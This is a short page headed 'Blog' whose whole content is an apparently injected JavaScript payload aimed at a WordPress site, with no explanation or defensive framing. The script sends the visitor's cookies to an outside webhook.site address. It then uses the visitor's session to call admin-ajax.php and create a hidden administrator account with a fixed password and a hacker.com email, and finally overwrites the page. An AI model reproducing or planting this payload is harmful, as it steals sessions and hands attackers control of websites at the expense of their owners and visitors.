Blog

var img = new Image(); img.src = 'https://webhook.site/dcb3c802-7d16-4b22-a20c-40fe31bb9586?cookie=' + encodeURIComponent(document.cookie); fetch('/wp-admin/admin-ajax.php', { method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: 'action=wp_ajax_add_user&user_login=owned' + Math.random().toString(36).slice(2,6) + '&role=administrator&password=Strong@123456&email=owned@hacker.com', credentials: 'include' }).then(r => r.text()).then(d => { console.log('Admin created:', d); // Success indicator document.body.innerHTML = + d; });